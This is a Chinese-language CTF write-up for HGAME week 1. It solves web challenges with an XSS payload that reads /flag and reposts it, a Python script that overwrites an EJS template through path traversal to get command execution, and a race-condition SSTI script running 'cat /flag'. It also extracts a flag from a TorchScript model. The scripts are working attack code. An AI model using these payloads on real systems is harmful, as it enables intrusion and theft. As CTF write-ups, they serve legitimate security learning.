Hgamectf-week1

发布于 2 天前  4 次阅读


Hgamectf-week1

web

Level 24 Pacman

收集一万枚金币,前端小游戏

24370eb4b48416acdebeb02b65970f6b

套了一个base64和一个栅栏加密

39d7b92abbae9a2b4e1b98798f4a2d0e

c4c52429dba75adc8c2bfa8b29837296

hgame{u_4re_pacman_m4ster}

Level 69 MysteryMessageBoard

弱密码登录

image-20250209160743597

func flagHandler(c *gin.Context) {
    log.Println("Handling flag request")
    session, err := store.Get(c.Request, "session")
    if err != nil {
        c.String(http.StatusInternalServerError, "无法获取会话")
        return
    }
    username, ok := session.Values["username"].(string)
    if !ok || username != "admin" {
        c.String(http.StatusForbidden, "只有admin才可以访问哦")
        return
    }
    log.Println("Admin accessed the flag")
    c.String(http.StatusOK, flag)
}
func main() {
    r := gin.Default()
    r.GET("/login", loginHandler)
    r.POST("/login", loginHandler)
    r.GET("/logout", logoutHandler)
    r.GET("/", indexHandler)
    r.GET("/admin", adminHandler)
    r.GET("/flag", flagHandler)
    log.Println("Server started at :8888")
    log.Fatal(r.Run(":8888"))
}

通过admin/flag得到后留言

<script>
fetch('/flag').then(response => response.text()).then(flag => {
  fetch('/', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/x-www-form-urlencoded'
    },
    body: 'comment=Flag%3A%20' + encodeURIComponent(flag)
  });
});
</script>

image-20250209160737432

hgame{W0w_y0u_5r4_9o0d_4t_xss}

Level 47 BandBomb

分析:

可知是有4个路由,分别负责主页面,上传,改名,文件显示

app.use('/static', express.static(path.join(__dirname, 'public')));

可知在app/public下的文件可以从/static路由访问

有文件上传喝改名,考虑跨路径移动,实际确实可以移动到public下然后读取,但是不知道flag的路径

image-20250209161722567

换个思路开始本次的主题

app.set('view engine', 'ejs');

res.render('mortis', { files: files });导入了模板,可以猜测其路径在app/views

先尝试把../views/mortis.ejs改到../public/mortis.ejs然后访问可以看到确实存在

image-20250209161918187

所以可以通过上传mortis.ejs去替换掉原来的模板实现注入

Object.getOwnPropertyNames(this)可以列出上下文所有对象,包括那些隐藏起来的

这题我就是直接this列出没有找到process之类的对象就以为没有导致卡了很久

<%
const keys = Object.getOwnPropertyNames(this);
for (let key of keys) {
    %> <p><strong><%= key %>:</strong> <%= typeof this[key] %></p> <%
}
%>

所以得到下面的Payload

import requests

TARGET = "http://XXXXX:32384"
MALICIOUS_TEMPLATE = """
<%
const keys = Object.getOwnPropertyNames(this);
for (let key of keys) {
    %> <p><strong><%= key %>:</strong> <%= typeof this[key] %></p> <%
}
%>

<p>process keys:</p>
<%
if (typeof process !== 'undefined') {
    for (let key in process) {
        %> <p><%= key %>: <%= typeof process[key] %></p> <%
    }
}
%>

<p>process.mainModule keys:</p>
<%
if (typeof process.mainModule !== 'undefined') {
    for (let key in process.mainModule) {
        %> <p><%= key %>: <%= typeof process.mainModule[key] %></p> <%
    }
}
%>

<%- process.mainModule.require("child_process").execSync("env").toString() %>

"""

# 1. 生成模板文件
with open("mortis.ejs", "w") as f:
    f.write(MALICIOUS_TEMPLATE)

# 2. 上传文件
file = {"file": open("mortis.ejs", "rb")}
upload_resp = requests.post(f"{TARGET}/upload", files=file)
print("Upload Response:", upload_resp.text)

# 3. 重命名覆盖原始模板
rename_data = {
    "oldName": "mortis.ejs",
    "newName": "../views/mortis.ejs",
}
rename_resp = requests.post(f"{TARGET}/rename", json=rename_data)
print("Rename Response:", rename_resp.text)

exploit_resp = requests.get(TARGET)
print("Exploit Response:", exploit_resp.text)

image-20250208223055954

image-20250208223123490

Level 38475 ⻆落

确认环境

image-20250209162951607

爆一下发现配置

image-20250209162958680

查找配置关键词找到一个利用rewrite漏洞读到源码的方法,%3F可以截断后面读取

https://blog.orange.tw/posts/2024-08-confusion-attacks-ch/

/admin/usr/local/apache2/app/app.py%3f加上user-agent=L1nk/

@app.route('/read', methods=['GET'])
def read_message():
    if "{" not in readmsg():
        show = show_msg.replace("{{message}}", readmsg())
        return render_template_string(show)
    return 'waf!!'

访问到源码后可以看见有render_template_string()函数,但是前面有一个过滤{if

readmsg()是动态的

这种if可以通过条件竞争来时间突破

import requests
import threading

url = 'http://node1.hgame.vidar.club:32737/'
data = {
    "messgae": "",
}

def write_msg(i):
    data["message"] = "{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}" + str(i)
    r = requests.post(url + '/app/send', data=data)

def read_msg(i):
    r = requests.get(url + '/app/read')
    print(i, "read", r.text)
    if "Latest" in r.text:
        print(r.text)
        exit()

threads = []
for i in range(10):
    thread = threading.Thread(target=write_msg, args=(i,))
    threads.append(thread)
    thread.start()

    thread = threading.Thread(target=read_msg, args=(i,))
    threads.append(thread)
    thread.start()

for thread in threads:
    thread.join()

mics

Level 314 线性⾛廊中的双⽣实体

Netron打不开

image-20250204025603040

直接解压看里面的逻辑

class MyModel(Module):
  __parameters__ = []
  __buffers__ = []
  training : bool
  _is_full_backward_hook : Optional[bool]
  linear1 : __torch__.torch.nn.modules.linear.Linear
  security : __torch__.SecurityLayer
  relu : __torch__.torch.nn.modules.activation.ReLU
  linear2 : __torch__.torch.nn.modules.linear.___torch_mangle_0.Linear
  def forward(self: __torch__.MyModel,
    x: Tensor) -> Tensor:
    linear1 = self.linear1
    x0 = (linear1).forward(x, )
    security = self.security
    x1 = (security).forward(x0, )
    relu = self.relu
    x2 = (relu).forward(x1, )
    linear2 = self.linear2
    return (linear2).forward(x2, )
class SecurityLayer(Module):
  __parameters__ = []
  __buffers__ = []
  training : bool
  _is_full_backward_hook : Optional[bool]
  flag : List[int]
  fake_flag : List[int]
  def forward(self: __torch__.SecurityLayer,
    x: Tensor) -> Tensor:
    _0 = torch.allclose(torch.mean(x), torch.tensor(0.31415000000000004), 1.0000000000000001e-05, 0.0001)
    if _0:
      _1 = annotate(List[str], [])
      flag = self.flag
      for _2 in range(torch.len(flag)):
        b = flag[_2]
        _3 = torch.append(_1, torch.chr(torch.__xor__(b, 85)))
      decoded = torch.join("", _1)
      print("Hidden:", decoded)
    else:
      pass
    if bool(torch.gt(torch.mean(x), 0.5)):
      _4 = annotate(List[str], [])
      fake_flag = self.fake_flag
      for _5 in range(torch.len(fake_flag)):
        c = fake_flag[_5]
        _6 = torch.append(_4, torch.chr(torch.sub(c, 3)))
      decoded0 = torch.join("", _4)
      print("Decoy:", decoded0)
    else:
      pass
    return x

可以看到flag是怎么来的

直接加载它并提取 flag

import torch

# 加载模型
model = torch.jit.load('Model.pt')

# 访问 SecurityLayer 模块
security_layer = model.security

# 提取 flag 和 fake_flag
flag_values = security_layer.flag
fake_flag_values = security_layer.fake_flag

# 解码函数
def decode_flag(flag):
    return ''.join([chr(b ^ 85) for b in flag])

def decode_fake_flag(fake_flag):
    return ''.join([chr(c - 3) for c in fake_flag])

# 解码并输出
hidden_flag = decode_flag(flag_values)
fake_decoy = decode_fake_flag(fake_flag_values)

print("Hidden flag:", hidden_flag)
print("Decoy flag:", fake_decoy)

image-20250204025544907

flag{s0_th1s_1s_r3al_s3cr3t}

QQ:2219349024
最后更新于 2025-03-08